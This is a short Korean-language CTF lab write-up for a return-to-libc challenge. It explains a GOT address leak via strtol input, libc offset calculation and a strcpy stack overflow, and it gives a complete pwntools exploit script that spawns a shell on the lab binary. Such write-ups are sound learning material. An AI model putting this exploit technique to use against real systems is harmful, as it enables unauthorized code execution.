Search

[Hicon training] LAB 4

Tags
writeup
heap
pwn
Date
2020/01/10

1. 문제

1) mitigation 확인
NX 비트말곤 안걸려있다
2) 문제 확인
바이너리를 실행시키면 RTL아냐고 물어본다. 그리고 메모리에서 뭘 보고 싶냐고 물은뒤 알고 싶은 주소를 입력하라고 한다(십진수로). 아무숫자나 입력하면 폴트가 뜬다
3) 코드흐름 파악
15라인에서 read로 buf에다가 문자열을 입력하고, strtol 함수로 long 타입으로 변환한 값이 v8에 들어간다. 그리고 See_something함수가 호출된다.
See_something 함수를 보면 아까 변환된 v8 변수에 들어있는 값을 출력해준다
그리고 한번더 read로 0x100 만큼 입력받은뒤, Print_message 함수가 호출된다
위에서 입력한 값을 dest 변수에 strcpy로 복사한다. 그리고 복사된 내용을 출력한다

2. 접근방법

우선 No PIE 이기 떄문에 처음에 printf의 got 주소를 10진수로 변환하여 입력하면 printf_ libc 주소를 알수 있을 것이다. 또한 strcpy를 이용하여 bof를 일으켜 RTL을 조지면 될 것이다
시나리오
1.
printf_got 값을 10진수로 바꿔서 입력해서 printf_leak
2.
leak된 주소를 이용하여 libc_base 주소, system 함수 주소, /bin/sh 문자열이 위치한 주소를 얻기
3.
RTL 진행

3. 풀이

최종 익스코드는 다음과 같다
from pwn import * context(os="linux",arch="i386",log_level="DEBUG") p=process("./ret2lib") p.sendlineafter("(in dec) :","134520848") p.recvuntil("address : ") printf_adr=int(p.recv(10),16) libc_base=printf_adr-0x049670 bin_sh=libc_base+0x15ba0b system=libc_base+0x03ada0 p.recvuntil("me :") payload="A"*0x38+"B"*4+p32(system)+"C"*4+p32(bin_sh)+"\x00" p.sendline(payload) p.interactive()
Python
복사

4. 몰랐던 개념

none